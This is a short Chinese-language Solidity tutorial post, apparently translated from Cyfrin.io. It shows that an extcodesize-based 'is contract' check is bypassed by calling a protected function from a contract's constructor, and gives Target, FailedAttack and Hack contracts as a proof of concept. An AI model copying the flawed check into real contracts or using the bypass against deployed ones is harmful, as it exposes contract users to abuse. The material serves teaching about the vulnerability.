3分钟Solidity: 11.14 绕过合约规模检查

20 阅读1分钟

欢迎订阅专栏3分钟Solidity--智能合约--Web3区块链技术必学

如需获取本内容的最新版本,请参见 Cyfrin.io 上的“绕过合同规模检查(代码示例)”

漏洞

如果一个地址是合约,那么该地址存储的代码大小应该大于0,对吧?

让我们看看如何创建一个extcodesize返回代码大小为0的合约。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Target {
    function isContract(address account) public view returns (bool) {
        // 该方法依赖于extcodesize,因为在构造函数执行期间代码尚未完全存储,
        // 对于处于构建阶段的合约,该函数会返回0。
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

contract FailedAttack {
    // 尝试调用Target.protected将会失败,
    // Target阻止来自合约的调用
    function pwn(address _target) external {
        // 这将会失败
        Target(_target).protected();
    }
}

contract Hack {
    bool public isContract;
    address public addr;

    // 当合约正在创建时,代码大小(extcodesize)为0。
    // 这将绕过isContract()检查
    constructor(address _target) {
        isContract = Target(_target).isContract(address(this));
        addr = address(this);
        // 这能行
        Target(_target).protected();
    }
}

Try on Remix试用混音版